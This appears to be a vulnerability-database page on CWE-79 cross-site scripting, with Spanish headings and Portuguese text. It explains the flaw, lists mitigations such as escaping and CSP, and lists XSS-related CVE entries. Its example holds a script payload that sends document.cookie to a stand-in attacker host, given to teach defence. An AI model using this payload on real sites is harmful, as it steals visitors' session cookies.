Fallos del tipo CWE-79

29.864 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-47047MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.4%CVE-2021-47750MEDIUMYouPHPTube <= 7.8 - Cross-Site ScriptingEPSS 0.4%CVE-2023-1688LOWSourceCodester Earnings and Expense Tracker App cross site scriptingEPSS 0.4%CVE-2024-4866MEDIUMUltraAddons – Elementor Addons (Header Footer Builder, Custom Font, Custom CSS,Woo Widget, Menu Builder, Anywhere Elementor Shortcode) <= 1.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple WidgetsEPSS 0.4%CVE-2025-5378MEDIUMAstun Technology iShare Maps mycouncil2.aspx cross site scriptingEPSS 0.4%CVE-2024-13156MEDIUMHTML5 Video Player – mp4 Video Player Plugin and Block <= 2.5.35 - Authenticated (Contributor+) DOM-Based Stored Cross-Site Scripting via heading ParameterEPSS 0.4%CVE-2023-1689LOWSourceCodester Earnings and Expense Tracker App cross site scriptingEPSS 0.4%CVE-2026-88209MEDIUMMicrosoft Office SharePoint Spoofing VulnerabilityEPSS 0.4%CVE-2024-13401MEDIUMPayment Button for PayPal <= 1.2.3.35 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-7500MEDIUMOcean Social Sharing <= 2.2.1 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2024-9376MEDIUMKata Plus – Addons for Elementor – Widgets, Extensions and Templates <= 1.4.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.4%CVE-2025-54967MEDIUMAn issue was discovered in BAE SOCET GXP before 4.6.0.3. It permits external entities in certain XML-based files. An attacker who is able toEPSS 0.4%CVE-2023-3855LOWphpscriptpoint JobSeeker search-result.php cross site scriptingEPSS 0.4%CVE-2024-12517MEDIUMWooCommerce Cart Count Shortcode <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-3757LOWGZ Scripts Car Rental Script cross site scriptingEPSS 0.4%CVE-2025-46338MEDIUMAudiobookshelf Vulnerable to Cross-Site-Scripting Reflected via POST Request in /api/uploadEPSS 0.4%CVE-2025-47115MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-46066MEDIUMWordPress Mediabay Plugin <= 1.6 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-9967MEDIUMWP show more <= 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via show_more ShortcodeEPSS 0.4%CVE-2025-8786MEDIUMPortabilis i-Diario Registro das atividades registros-de-conteudos-por-areas-de-conhecimento cross site scriptingEPSS 0.4%